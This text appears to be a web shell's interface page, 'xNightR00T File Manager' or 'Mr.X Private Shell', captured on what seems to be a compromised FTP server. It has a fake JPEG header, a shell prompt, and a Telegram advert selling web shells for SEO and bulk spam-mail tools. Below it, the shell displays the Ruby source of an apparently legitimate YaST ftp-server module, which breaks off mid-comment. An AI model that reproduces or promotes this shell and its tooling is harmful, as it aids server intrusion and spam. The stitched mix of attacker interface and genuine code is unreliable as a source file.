xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

require "yast"

module Yast
  # Configure **both** [vsftpd][v] and [pure-ftpd][p] in a single class.
  #
  # [v]: https://security.appspot.com/vsftpd.html
  # [p]: http://www.pureftpd.org/
  #
  # For the configuration we have 3 vocabularies,
  # mapped by {FtpServerWriteLoadInclude#ValueUI}.
  #
  # - pure-ftpd uses CamelCase  keys
  # - vsftpd    uses snake_case keys
  # - yast      uses CamelCase  keys which are almost(!!1!)
  #             the same as for pure-ftpd.
  class FtpServerClass < Module
    def main
      Yast.import "UI"
      textdomain "ftp-server"

      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Summary"
      Yast.import "Message"
      Yast.import "Popup"
      Yast.import "String"
      Yast.import "Mode"
      Yast.import "Package"
      Yast.import "CommandLine"
      Yast.import "Users"
      Yast.import "SuSEFirewall"
      Yast.import "SuSEFirewallServices"
      Yast.import "PortAliases"

      # Data was modified?
      @modified = false

      # general variable for proposal
      #
      @proposal_valid = false

      # variable signifies if vsftpd is selected and
      # edited via ftp-server (YaST module)
      # global boolean variable
      @vsftpd_edit = false

      # variable signifies if vsftpd is installed and
      #
      # global boolean variable
      @vsftpd_installed = false

      # variable signifies if pure-ftpd is installed and
      #
      # global boolean variable
      @pureftpd_installed = false

      # variable signifies position vsftpd record
      # in structur Inetd::netd_conf
      # -1 init value before calling Inetd::Read()
      #
      # global integer variable
      @vsftpd_xined_id = -1

      # variable signifies if pure-ftpd is installed and
      # in structur Inetd::netd_conf
      # -1 init value before calling Inetd::Read()
      #
      # global integer variable
      @pureftpd_xined_id = -1

      # variable signifies if daemon will be started via xinetd
      #
      # global boolean variable

      @start_xinetd = false

      # variable signifies if daemon is running via xinetd
      #
      # global boolean variable

      @pure_ftp_xinetd_running = false


      # variable signifies if daemon is running via xinetd
      #
      # global boolean variable

      @vsftp_xinetd_running = false

      # variable signifies if daemon will be stoped in xinetd
      #
      # global boolean variable

      @stop_daemon_xinetd = false



      # variable signifies if it is create upload dir
      # only for vsftpd and anonymous connections with allowed upload
      #
      # global boolean variable

      @create_upload_dir = false

      # variable signifies if upload dir has good permissions
      # only for vsftpd and anonymous connections with allowed upload
      #
      # global boolean variable

      @upload_good_permission = false

      # variable signifies if upload dir for anonymous has good permissions
      # it is only for pure-ftpd
      #
      # -1 == home dir is "/"
      #  0 == writting access disallow
      #  1 == writting allowed
      # global integer variable

      @pure_ftp_allowed_permissios_upload = 0

      # variable signifies if user choose change permissions for home dir
      # for anonymous connections with allowed upload
      #
      # global boolean variable

      @change_permissions = false

      # variable signifies home dir for anonymous user
      #
      # global string variable


      @anon_homedir = ""

      # variable signifies uid for anonymous user
      #
      # global integer variable

      @anon_uid = 0

      # variable signifies sleep time during reading settings
      #
      # internal integer variable

      @sl = 500

      # variable includes user info about anonymous user
      #
      # internal map variable
      @userinfo = {}

      # list includes xinetd server_args for pure-ftpd
      #
      # global lis <string> variable

      @pure_ftpd_xinet_conf = []

      @UI_keys = [
        "ChrootEnable",
        "VerboseLogging",
        "FtpDirLocal",
        "FtpDirAnon",
        "Umask",
        "UmaskAnon",
        "UmaskLocal",
        "PasMinPort",
        "PasMaxPort",
        "MaxIdleTime",
        "MaxClientsPerIP",
        "MaxClientsNumber",
        "LocalMaxRate",
        "AnonMaxRate",
        "AnonAuthen",
        "AnonReadOnly",
        "AnonCreatDirs",
        "Banner",
        "SSLEnable",
        "TLS",
        "AntiWarez",
        "SSL",
        "StartXinetd",
        "PassiveMode",
        "CertFile",
        "VirtualUser",
        "FTPUser",
        "GuestUser",
        "EnableUpload"
      ]

      @DEFAULT_CONFIG = {
        "ChrootEnable"     => "NO",
        "VerboseLogging"   => "NO",  # Default value for pure-ftpd.
        "log_ftp_protocol" => "YES", # Default value for vsftp (bnc#888287). 
        "FtpDirLocal"      => "", #if empty doesn't write this options via SCR
        "FtpDirAnon"       => "", #if empty doesn't write this options via SCR
        "Umask"            => "",
        "UmaskAnon"        => "",
        "UmaskLocal"       => "",
        "PasMinPort"       => "40000",
        "PasMaxPort"       => "40500",
        "MaxIdleTime"      => "15",
        "MaxClientsPerIP"  => "3",
        "MaxClientsNumber" => "10",
        "LocalMaxRate"     => "0",
        "AnonMaxRate"      => "0",
        "AnonAuthen"       => "1", # 0 => anonymous only, 1 => authenticated only, 2=> both
        "AnonReadOnly"     => "YES",
        "AnonCreatDirs"    => "NO",
        "Banner"           => _("Welcome message"),
        "SSLEnable"        => "NO",
        "TLS"              => "YES",
        "AntiWarez"        => "YES",
        "SSL"              => "0", #0 - disable SSL, 1-accept SSL, 2 - refuse connection withou SSL (pure-ftpd only)
        "StartXinetd"      => "NO",
        "StartDaemon"      => "0", #0 = start manually, 1 = start when booting, 2 = start via xinetd
        "PassiveMode"      => "YES",
        "CertFile"         => "", #cert file for SSL connections
        "VirtualUser"      => "NO",
        "FTPUser"          => "ftp",
        "GuestUser"        => "",
        "EnableUpload"     => "NO"
      }

      @PURE_SETTINGS = {}
      @VS_SETTINGS = {}
      @EDIT_SETTINGS = {}

      Yast.include self, "ftp-server/write_load.rb"

      @ftps = true

      # Write only, used during autoinstallation.
      # Don't run services and SuSEconfig, it's all done at one place.
      @write_only = false
    end

    # Read current pure-ftpd configuration
    #
    #  @return [Boolean] successfull
    def ReadPUREFTPDSettings
      Builtins.foreach(SCR.Dir(path(".pure-ftpd"))) do |key|
        val = Convert.to_string(SCR.Read(Builtins.add(path(".pure-ftpd"), key)))
        Ops.set(@PURE_SETTINGS, key, val) if val != nil
      end

      Builtins.y2milestone("-------------PURE_SETTINGS-------------------")
      Builtins.y2milestone(
        "pure-ftpd configuration has been read: %1",
        @PURE_SETTINGS
      )
      Builtins.y2milestone("---------------------------------------------")

      true
    end

    # Read current vsftpd configuration
    #
    #  @return [Boolean] successfull
    def ReadVSFTPDSettings
      Builtins.foreach(SCR.Dir(path(".vsftpd"))) do |key|
        val = Convert.to_string(SCR.Read(Builtins.add(path(".vsftpd"), key)))
        Ops.set(@VS_SETTINGS, key, val) if val != nil
      end
      Builtins.y2milestone("-------------VS_SETTINGS-------------------")
      Builtins.y2milestone(
        "VSFTPD configuration has been read: %1",
        @VS_SETTINGS
      )
      Builtins.y2milestone("---------------------------------------------")

      true
    end


    # Read vsftpd configuration
    # existing upload file and permissions
    #
    #  @return [Boolean] successfull
    def ReadVSFTPDUpload
      result = false
      command = ""
      if @anon_homedir != ""
        command = Ops.add(Ops.add("ls -l ", @anon_homedir), " | grep upload")
      end
      if command != ""
        options = Convert.to_map(
          SCR.Execute(path(".target.bash_output"), command)
        )
        Builtins.y2milestone(
          "[ftp-server] (ReadVSFTPDUpload) command for existing upload dir:  %1  output: %2",
          command,
          options
        )
        if Ops.get(options, "exit") == 0
          result = true
        else
          result = false
        end
        if result
          @create_upload_dir = true
          permissions = Builtins.substring(
            Builtins.tostring(Ops.get(options, "stdout")),
            0,
            10
          )
          w = Builtins.filterchars(permissions, "w")
          r = Builtins.filterchars(permissions, "r")
          if Ops.less_than(Builtins.size(w), 3) ||
              Ops.less_than(Builtins.size(r), 3)
            @upload_good_permission = false 
          else
            @upload_good_permission = true 
          end
        end
      end

      result
    end


    # Read pure-fptd configuration
    # checking permissions for upload
    #
    #  @return [Boolean] successfull
    def ReadPermisionUplaod
      result = false
      command = ""
      directory = ""
      upload_dir = ""

      directories = Builtins.filter(Builtins.splitstring(@anon_homedir, "/")) do |key|
        key != ""
      end

      Builtins.y2milestone(
        "[ftp-server] (ReadPermisionUplaod) split directories...:  %1 ",
        directories
      )

      if Builtins.size(directories) == 1
        directory = "/"
        upload_dir = Builtins.deletechars(@anon_homedir, "/")
      elsif Ops.greater_than(Builtins.size(directories), 1)
        upload_dir = Ops.get(
          directories,
          Ops.subtract(Builtins.size(directories), 1),
          ""
        )
        directory = Ops.add(
          "/",
          Builtins.mergestring(
            Builtins.remove(
              directories,
              Ops.subtract(Builtins.size(directories), 1)
            ),
            "/"
          )
        ) 
      else
        @pure_ftp_allowed_permissios_upload = -1
      end


      if @anon_homedir != "" && @pure_ftp_allowed_permissios_upload != -1
        command = Ops.add(
          Ops.add(Ops.add("ls -l ", directory), " | grep "),
          upload_dir
        )
      end
      if command != ""
        options = Convert.to_map(
          SCR.Execute(path(".target.bash_output"), command)
        )
        Builtins.y2milestone(
          "[ftp-server] (ReadPermisionUplaod) command for checking permissions for upload dir:  %1",
          command
        )
        if Ops.get(options, "exit") == 0
          result = true
        else
          result = false
        end
        if result
          permissions = Builtins.substring(
            Builtins.tostring(Ops.get(options, "stdout")),
            0,
            10
          )
          w = Builtins.filterchars(permissions, "w")
          r = Builtins.filterchars(permissions, "r")
          if Ops.less_than(Builtins.size(w), 3) ||
              Ops.less_than(Builtins.size(r), 3)
            @pure_ftp_allowed_permissios_upload = 0 
          else
            @pure_ftp_allowed_permissios_upload = 1 
          end
        end 
      end
      result
    end

    # Remap current pure -FtpServer configuration
    # to temporary structure
    #
    # @return [Boolean] successfull
    def InitEDIT_SETTINGS
      Builtins.foreach(@UI_keys) do |key|
        val = ValueUI(key, false)
        Ops.set(@EDIT_SETTINGS, key, val) if val != nil
      end

      Builtins.y2milestone("-------------EDIT_SETTINGS-------------------")
      Builtins.y2milestone(
        "EDIT_SETTINGS configuration has been read: %1",
        @EDIT_SETTINGS
      )
      Builtins.y2milestone("---------------------------------------------")

      true
    end




    # Read current configuration
    #
    # @return [Boolean] successfull
    def ReadSettings
      result = false
      if @vsftpd_edit
        result = ReadVSFTPDSettings()
      else
        result = ReadPUREFTPDSettings()
      end
      result = InitEDIT_SETTINGS() if result

      #read info about anonymous user "ftp"
      Users.SetGUI(false)
      if Users.Read == "" && Ops.get(@EDIT_SETTINGS, "VirtualUser") == "NO"
        if @vsftpd_edit && Ops.get(@EDIT_SETTINGS, "GuestUser") != "" &&
            Ops.get(@EDIT_SETTINGS, "FtpDirLocal") == ""
          #Popup::Message("if ((vsftpd_edit) && (EDIT_SETTINGS");
          Users.SelectUserByName(Ops.get(@EDIT_SETTINGS, "GuestUser"))
          @userinfo = Users.GetCurrentUser
          guest_home_dir = Ops.get_string(@userinfo, "homeDirectory")
          if guest_home_dir != "" && guest_home_dir != nil &&
              Ops.get(@EDIT_SETTINGS, "FtpDirLocal") == ""
            Ops.set(@EDIT_SETTINGS, "FtpDirLocal", guest_home_dir)
          end
        end
        Users.SelectUserByName(Ops.get(@EDIT_SETTINGS, "FTPUser"))
        @userinfo = Users.GetCurrentUser
        @anon_homedir = Ops.get_string(@userinfo, "homeDirectory")
        @anon_uid = Ops.get_integer(@userinfo, "uidNumber")
        #y2milestone("-------------User info-------------------");
        #y2milestone("Users :CurrentUser %1", userinfo);
        #y2milestone("---------------------------------------------");
        if @anon_homedir != "" && @anon_homedir != nil
          if Ops.get(@EDIT_SETTINGS, "FtpDirAnon") == ""
            Ops.set(@EDIT_SETTINGS, "FtpDirAnon", @anon_homedir)
          elsif Ops.get(@EDIT_SETTINGS, "FtpDirAnon") != nil
            @anon_homedir = Ops.get(@EDIT_SETTINGS, "FtpDirAnon")
          end
        end
      end
      #read firewall settings
      progress_orig = Progress.set(false)
      SuSEFirewall.Read
      Progress.set(progress_orig)
      #read existing upload directory for vsftpd
      result = ReadVSFTPDUpload() if @vsftpd_edit

      result = ReadPermisionUplaod()
      result
    end


    # Write pure-ftpd configuration to config file
    #
    # @return [Boolean] successfull
    def WritePUREFTPDSettings
      Builtins.foreach(@PURE_SETTINGS) do |option_key, option_val|
        SCR.Write(Builtins.add(path(".pure-ftpd"), option_key), option_val)
      end
      # This is very important
      # it flushes the cache, and stores the configuration on the disk
      SCR.Write(path(".pure-ftpd"), nil)

      true
    end


    # Write vsftpd configuration to config file
    #
    # @return [Boolean] successfull
    def WriteVSFTPDSettings
      Builtins.foreach(@VS_SETTINGS) do |option_key, option_val|
        SCR.Write(Builtins.add(path(".vsftpd"), option_key), option_val)
      end
      # This is very important
      # it flushes the cache, and stores the configuration on the disk
      SCR.Write(path(".vsftpd"), nil)

      true
    end


    # Remap UI pure-ftpd or vsftpd configuration
    # to write structure for SCR
    #
    # @return [Boolean] successfull
    def WriteToSETTINGS
      Builtins.foreach(@UI_keys) { |key| ValueUI(key, true) }

      Builtins.y2milestone("-------------PURE_SETTINGS-------------------")
      Builtins.y2milestone(
        "pure-ftpd writing configuration : %1",
        @PURE_SETTINGS
      )
      Builtins.y2milestone("---------------------------------------------")

      Builtins.y2milestone("-------------VS_SETTINGS-------------------")
      Builtins.y2milestone("Vsftpd writing configuration : %1", @VS_SETTINGS)
      Builtins.y2milestone("---------------------------------------------")
      true
    end

    # Write firewall configuration
    #
    # @return [Boolean] successfull
    def WriteFirewallSettings
      port_range = ""
      active_port = ""

      if SuSEFirewall.IsStarted
        if Ops.get(@EDIT_SETTINGS, "PassiveMode") == "YES"
          port_range = Ops.add(
            Ops.add(Ops.get(@EDIT_SETTINGS, "PasMinPort"), ":"),
            Ops.get(@EDIT_SETTINGS, "PasMaxPort")
          )
        else
          active_port = PortAliases.IsKnownPortName("ftp-data") ? "ftp-data" : "20"
        end

        suse_config = {
          "tcp_ports" => [
            PortAliases.IsKnownPortName("ftp") ? "ftp" : "21",
            active_port != "" ? active_port : port_range
          ]
        }

        if @vsftpd_edit
          return SuSEFirewallServices.SetNeededPortsAndProtocols(
            "service:vsftpd",
            suse_config
          )
        else
          return SuSEFirewallServices.SetNeededPortsAndProtocols(
            "service:pure-ftpd",
            suse_config
          )
        end
      else
        return true
      end
    end

    # Write value from UI
    # to temporary structure
    #
    # @param [String] key of EDIT_SETTINGS map
    # @param [String] value of "key" EDIT_SETTINGS map
    # @return [Boolean] successfull
    def WriteToEditMap(key, value)
      Ops.set(@EDIT_SETTINGS, key, value)
      true
    end




    # Write current configuration
    #
    # @return [Boolean] successfull
    def WriteSettings
      result = false
      result = WriteToSETTINGS()
      if @vsftpd_edit
        result = WriteVSFTPDSettings() if result
      else
        result = WritePUREFTPDSettings() if result
        # write homedirectory for anonymous user (ftp)
        # fto user will be change only for pure-ftpd
        # vsftpd change option anon_root
        if Ops.get(@EDIT_SETTINGS, "VirtualUser") == "NO" && !@vsftpd_edit
          if result
            if Ops.get(@EDIT_SETTINGS, "FtpDirAnon") != @anon_homedir &&
                @anon_homedir != "" &&
                @anon_homedir != nil
              error = Users.EditUser(
                { "homeDirectory" => Ops.get(@EDIT_SETTINGS, "FtpDirAnon") }
              )
              if error != nil && error != ""
                result = false
                Popup.Error(error)
              end
              if result
                if Users.CommitUser
                  Users.SetGUI(false)
                  error = Users.Write
                  if error != nil && error != ""
                    Popup.Error(error)
                    result = false
                  end
                end
              end #end of if (Users::CommitUser ()) {
            end #end of if ((EDIT_SETTINGS["FtpDirAnon"]:nil != anon_homedir) &&
          end #end of if (result) {
        end #end of if (EDIT_SETTINGS["VirtualUser"]:nil == "NO") {
      end # end of } else {

      result = WriteFirewallSettings() if result
      if result
        # write configuration to the firewall
        progress_orig = Progress.set(false)
        result = SuSEFirewall.Write
        Progress.set(progress_orig)
      end
      result
    end

    # Write current configuration
    #
    # @return [Boolean] result of function (true/false)
    def WriteXinetd
      result = false
      if @vsftpd_xined_id != -1
        result = WriteStartViaXinetd(@start_xinetd, false)
      end
      result
    end

    # Ask for creation upload directory
    # It is necessary if user want to allow uploading for anonymous
    # @return [Boolean] result of function (true/false)
    def WriteUpload
      result = true
      command = ""
      upload = ""
      options = {}
      authentication = Builtins.tointeger(Ops.get(@EDIT_SETTINGS, "AnonAuthen"))
      if @vsftpd_edit && authentication != 1 && @create_upload_dir && @upload_good_permission
        write_enable = Ops.get(@EDIT_SETTINGS, "EnableUpload") == "YES" ? true : false
        anon_upload = Ops.get(@EDIT_SETTINGS, "AnonReadOnly") == "NO" ? true : false
        anon_create_dirs = Ops.get(@EDIT_SETTINGS, "AnonCreatDirs") == "YES" ? true : false
        if write_enable && (anon_upload || anon_create_dirs)
          if Builtins.substring(
              @anon_homedir,
              Ops.subtract(Builtins.size(@anon_homedir), 1)
            ) == "/"
            upload = "upload"
          else
            upload = "/upload"
          end
        end
        command = "dir=`ls "
        command = Ops.add(command, @anon_homedir)
        command = Ops.add(
          command,
          " | grep upload`; if [ -z $dir ]; then mkdir "
        )
        command = Ops.add(
          Ops.add(Ops.add(command, @anon_homedir), upload),
          "; chown "
        )

        if Ops.get(@EDIT_SETTINGS, "GuestUser") != ""
          command = Ops.add(
            Ops.add(Ops.add(command, Ops.get(@EDIT_SETTINGS, "GuestUser")), ":"),
            Ops.get(@EDIT_SETTINGS, "GuestUser")
          )
        elsif Ops.get(@EDIT_SETTINGS, "FTPUser") != ""
          command = Ops.add(
            Ops.add(Ops.add(command, Ops.get(@EDIT_SETTINGS, "FTPUser")), ":"),
            Ops.get(@EDIT_SETTINGS, "FTPUser")
          )
        end

        command = Ops.add(
          Ops.add(Ops.add(Ops.add(command, " "), @anon_homedir), upload),
          "; chmod 766 "
        )
        command = Ops.add(
          Ops.add(
            Ops.add(
              Ops.add(
                Ops.add(Ops.add(command, @anon_homedir), upload),
                "; else chmod 766 "
              ),
              @anon_homedir
            ),
            upload
          ),
          "; fi"
        )
        # "dir=`ls /srv/ftp/ | grep upload`; if [ -z $dir ]; then echo $dir; mkdir /srv/ftp/upload;
        #  chown ftp:ftp /srv/ftp/upload/; chmod 755 /srv/ftp/upload; else chmod 766 /srv/ftp/upload/; fi"
        Builtins.y2milestone(
          "[ftp-server] (WriteUpload) bash command for creating upload dir : %1",
          command
        )
        options = Convert.to_map(
          SCR.Execute(path(".target.bash_output"), command)
        )
        if Ops.get(options, "exit") == 0
          result = true
        else
          result = false
        end 
      else
        result = true
      end
      #restart/reaload daemons...
      if @vsftpd_edit
        if Service.Status("vsftpd") == 0
          options = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), "rcvsftpd restart")
          )
        end
      else
        if Service.Status("pure-ftpd") == 0
          options = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), "rcpure-ftpd restart")
          )
        end
      end

      #update permissions for home directory if upload is enabled...
      if @pure_ftp_allowed_permissios_upload != -1 && @change_permissions
        if @vsftpd_edit
          command = Ops.add("chmod 755 ", @anon_homedir)
          options = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), command)
          )
        else
          command = Ops.add("chmod 777 ", @anon_homedir)
          options = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), command)
          )
        end
      end

      result
    end

    # read value from  PURE_EDIT_SETTINGS
    #
    # @param [String] key for edit map (ID of option)
    # @return [String] value of key from edit map
    def ValueUIEdit(key)
      Ops.get(@EDIT_SETTINGS, key)
    end

    # Returns whether the configuration has been modified.
    #
    # @return [Boolean] modified
    def GetModified
      @modified
    end

    # Function set {#modified} variable.
    #
    # @param [Boolean] set_modified
    def SetModified(set_modified)
      @modified = set_modified

      nil
    end

    # Returns a confirmation popup dialog whether user wants to really abort.
    #
    # @return [Boolean] result of Popup::ReallyAbort(GetModified()
    def Abort
      Popup.ReallyAbort(GetModified())
    end

    # Checks whether an Abort button has been pressed.
    # If so, calls function to confirm the abort call.
    #
    # @return [Boolean] true if abort confirmed
    def PollAbort
      return false if Mode.commandline
      return Abort() if UI.PollInput == :abort

      false
    end

    # Data was modified?
    # @return true if modified
    def Modified
      Builtins.y2debug("modified=%1", @modified)
      @modified
    end

    # Read all FtpServer settings
    # @return true on success
    def Read
      # FtpServer read dialog caption
      caption = _("Initializing FTP Configuration")
      steps = 2

      # Part for commandline - it is necessary choose daemon if both are installed
      if Mode.commandline
        @vsftpd_installed = Package.Installed("vsftpd")
        @pureftpd_installed = Package.Installed("pure-ftpd")

        if @vsftpd_installed && @pureftpd_installed
          if CommandLine.Interactive
            CommandLine.Print(
              String.UnderlinedHeader(_("You have installed both daemons:"), 0)
            )
            CommandLine.Print(_("Choose one of them for configuration."))
            CommandLine.Print(
              _(
                "Do you want to configure vsftpd? Alternatively choose pure-ftpd."
              )
            )
            CommandLine.Print("")
            @vsftpd_edit = true if CommandLine.YesNo
          else
            CommandLine.Error(
              _(
                "You have installed both daemons. Therefore you have to run the configuration in interactive mode."
              )
            )
            return false
          end
        end
        @vsftpd_edit = true if @vsftpd_installed && !@pureftpd_installed

        return false if !@vsftpd_installed && !@pureftpd_installed
      end

      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # Progress stage 1/2
          _("Read settings from the config file"),
          # Progress stage 2/2
          _("Read the previous settings")
        ],
        [
          # Progress stage 1/2
          _("Reading the settings..."),
          Message.Finished
        ],
        ""
      ) #end of Progress::New( caption, " "

      # read settings
      return false if PollAbort()
      Progress.NextStage
      # calling read function for reading settings form config file
      Report.Error(_("Cannot Read Current Settings.")) if !ReadSettings()
      Builtins.sleep(@sl)

      return false if PollAbort()
      # Progress finished
      Progress.NextStage
      Builtins.sleep(@sl)

      return false if PollAbort()
      @modified = false
      true
    end

    # Write all FtpServer settings
    # @return true on success
    def Write
      # FtpServer read dialog caption
      caption = _("Saving FTP Configuration")
      steps = 3

      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # Progress stage 1/2
          _("Write the settings to the config file"),
          # Progress stage 2/2
          _("Write the settings for starting daemon")
        ],
        [
          # Progress step 1/1
          _("Writing the settings..."),
          Message.Finished
        ],
        ""
      ) #end of Progress::New(caption, " "

      # write settings
      return false if PollAbort()
      Progress.NextStage
      # write options to the config file
      Report.Error(_("Cannot write settings!")) if !WriteSettings()
      Builtins.sleep(@sl)

      return false if PollAbort()
      Progress.NextStage
      # write settings for starting daemon
      Report.Error(_("Cannot write settings for xinetd!")) if !WriteXinetd()
      Builtins.sleep(@sl)

      return false if PollAbort()
      Progress.NextStage
      # write settings for starting daemon
      if !WriteUpload()
        Report.Error(
          _("Cannot create upload directory for anonymous connections.")
        )
      end
      Builtins.sleep(@sl)


      return false if PollAbort()
      # Progress finished
      Progress.NextStage
      Builtins.sleep(@sl)

      return false if PollAbort()
      true
    end

    # Get all FtpServer settings from the first parameter
    # (For use by autoinstallation.)
    # @param [Hash] settings The YCP structure to be imported.
    # @return [Boolean] True on success
    def Import(settings)
      settings = deep_copy(settings)
      # Evaluate the kind of ftpserver at first via xinetd....
      # (bnc#892701)
      IdFTPXinetd()
      # ...and check/initialize the correct ftpserver which will
      # be used for configuration.
      # (bnc#907354)
      InitDaemon()

      result = true

      # StartDaemon setting is not a part of the general UI but is needed
      # for the AutoYaST installation and is set in the AY configuration
      # file. So we have to add it here too. (bnc#1047232)
      Builtins.foreach(@UI_keys + ["StartDaemon"]) do |key|
        val = Ops.get_string(settings, key)
        Ops.set(@EDIT_SETTINGS, key, val) if val != nil
        if val == nil
          Ops.set(@EDIT_SETTINGS, key, Ops.get(@DEFAULT_CONFIG, key))
        end
      end 

      result
    end

    # Set which daemon will be configured
    # (For use by autoinstallation.)
    #
    # @return [Boolean] True on success
    def InitDaemon
      result = true
      #Checking if ftp daemons are installed
      rad_but = 0
      vsftpd_init_count = 0
      pureftpd_init_count = 0
      ret = nil
      if Package.Installed("vsftpd")
        vsftpd_init_count = Ops.add(vsftpd_init_count, 1)
        @vsftpd_installed = true
      end
      if Package.Installed("pure-ftpd")
        pureftpd_init_count = Ops.add(pureftpd_init_count, 1)
        @pureftpd_installed = true
      end
      if @pureftpd_installed && @vsftpd_installed
        if Service.Enabled("pure-ftpd")
          pureftpd_init_count = Ops.add(pureftpd_init_count, 1)
        end

        if Service.Enabled("vsftpd")
          vsftpd_init_count = Ops.add(vsftpd_init_count, 1)
        end

        #Checking status of ftp daemons

        if Service.Status("vsftpd") == 0
          vsftpd_init_count = Ops.add(vsftpd_init_count, 1)
        end

        if Service.Status("pure-ftpd") == 0
          pureftpd_init_count = Ops.add(pureftpd_init_count, 1)
        end

        if pureftpd_init_count == vsftpd_init_count
          @vsftpd_edit = false
        elsif Ops.less_than(pureftpd_init_count, vsftpd_init_count)
          @vsftpd_edit = false
        else
          @vsftpd_edit = true
        end
      elsif @pureftpd_installed && !@vsftpd_installed
        result = true
        @vsftpd_edit = false
      elsif !@pureftpd_installed && @vsftpd_installed
        result = true
        @vsftpd_edit = true
      else
        result = true
        @vsftpd_edit = false
      end
      result
    end

    # Dump the FtpServer settings to a single map
    # (For use by autoinstallation.)
    # @return [Hash] Dumped settings (later acceptable by Import ())
    def Export
      deep_copy(@EDIT_SETTINGS)
    end

    # Create unsorted list of options
    # @return [String] Returnes string with RichText-formated list
    def OptionsSummary
      _S = ""
      option = ""
      #start FTP daemon
      value = Ops.get(@EDIT_SETTINGS, "StartDaemon")
      if value == "0"
        option = "manually"
      elsif value == "1"
        option = "via xinetd"
      else
        option = "via inetd"
      end
      _S = Builtins.sformat("%1<li>Start Deamon: <i>(%2)</i>", _S, option)
      value = Ops.get(@EDIT_SETTINGS, "AnonAuthen")
      if value == "0"
        option = "Anonymous Only"
      elsif value == "1"
        option = "Authenticated Only"
      else
        option = "Both"
      end
      _S = Builtins.sformat("%1<li>Access: <i>(%2)</i>", _S, option)
      # anonymous dir
      if value != "1"
        _S = Builtins.sformat(
          "%1<li>Anonymous Directory: <i>(%2)</i>",
          _S,
          Ops.get(@EDIT_SETTINGS, "FtpDirAnon")
        )
        _S = Builtins.sformat(
          "%1<li>Anonymous Read Only: <i>(%2)</i>",
          _S,
          Ops.get(@EDIT_SETTINGS, "AnonReadOnly")
        )
        _S = Builtins.sformat(
          "%1<li>Anonymous Can Create Directory: <i>(%2)</i>",
          _S,
          Ops.get(@EDIT_SETTINGS, "AnonCreatDirs")
        )
      end
      _S = _("<p><ul><i>FTP daemon is not configured.</i></ul></p>") if _S == ""
      _S
    end

    # Create a textual summary and a list of unconfigured cards
    # @return summary of the current configuration
    def Summary
      _S = ""
      if Builtins.size(@EDIT_SETTINGS) == 0
        # Translators: Summary head, if nothing configured
        _S = Summary.AddHeader(_S, _("FTP daemon"))
        _S = Summary.AddLine(_S, Summary.NotConfigured)
      else
        # Translators: Summary head, if something configured
        head = Builtins.sformat(
          _("FTP daemon %1"),
          @vsftpd_edit ? "vsftpd" : "pure-ftpd"
        )
        _S = Summary.AddHeader(_S, head)
        _S = Summary.AddHeader(_S, _("These options will be configured"))
        _S = Builtins.sformat("%1<ul>%2</ul></p>", _S, OptionsSummary())
      end
      _S
    end

    #zzz
    # Return packages needed to be installed and removed during
    # Autoinstallation to insure module has all needed software
    # installed.
    # @return [Hash] with 2 lists.
    def AutoPackages
      if @vsftpd_edit
        return { "install" => ["vsftpd"], "remove" => [] }
      else
        return { "install" => ["pure-ftpd"], "remove" => [] }
      end
    end

    # This helper allows YARD to extract DSL-defined attributes.
    # Unfortunately YARD has problems with the Capitalized ones,
    # so those must be done manually.
    # @!macro [attach] publish_variable
    #   @!attribute $1
    #   @return [$2]
    def self.publish_variable(name, type)
      publish :variable => name, :type => type
    end

    publish :function => :SetModified, :type => "void (boolean)"
    publish :function => :Modified, :type => "boolean ()"
    publish :function => :WriteToEditMap, :type => "boolean (string, string)"
    publish :function => :WriteSettings, :type => "boolean ()"
    publish :function => :WriteUpload, :type => "boolean ()"
    publish :function => :WriteXinetd, :type => "boolean ()"
    publish_variable :modified, "boolean"
    publish_variable :proposal_valid, "boolean"
    publish_variable :vsftpd_edit, "boolean"
    publish_variable :vsftpd_installed, "boolean"
    publish_variable :pureftpd_installed, "boolean"
    publish_variable :vsftpd_xined_id, "integer"
    publish_variable :pureftpd_xined_id, "integer"
    publish_variable :start_xinetd, "boolean"
    publish_variable :pure_ftp_xinetd_running, "boolean"
    publish_variable :vsftp_xinetd_running, "boolean"
    publish_variable :stop_daemon_xinetd, "boolean"
    publish_variable :create_upload_dir, "boolean"
    publish_variable :upload_good_permission, "boolean"
    publish_variable :pure_ftp_allowed_permissios_upload, "integer"
    publish_variable :change_permissions, "boolean"
    publish_variable :anon_homedir, "string"
    publish_variable :anon_uid, "integer"
    publish_variable :pure_ftpd_xinet_conf, "list <string>"

    # @attribute [r] UI_keys
    # @return [Array<String>]
    # A list of setting keys yast cares about,
    # in the {#EDIT_SETTINGS} vocabulary.
    # It should be made a constant.
    publish :variable => :UI_keys, :type => "list <string>"

    # @attribute DEFAULT_CONFIG
    # @return [Hash<String,String>]
    # Defaults for {#EDIT_SETTINGS} in case the value is not found
    # in the system settings.
    publish :variable => :DEFAULT_CONFIG, :type => "map <string, string>"

    # @attribute PURE_SETTINGS
    # @return [Hash<String,String>]
    # Uses CamelCase, {FtpServerWriteLoadInclude#ValueUI ValueUI} maps it
    # to {#EDIT_SETTINGS} and {#DEFAULT_CONFIG}.
    publish :variable => :PURE_SETTINGS, :type => "map <string, string>"

    # @attribute VS_SETTINGS
    # @return [Hash<String,String>]
    # Uses snake_case, {FtpServerWriteLoadInclude#ValueUI ValueUI} maps it
    # to {#EDIT_SETTINGS} and {#DEFAULT_CONFIG}.
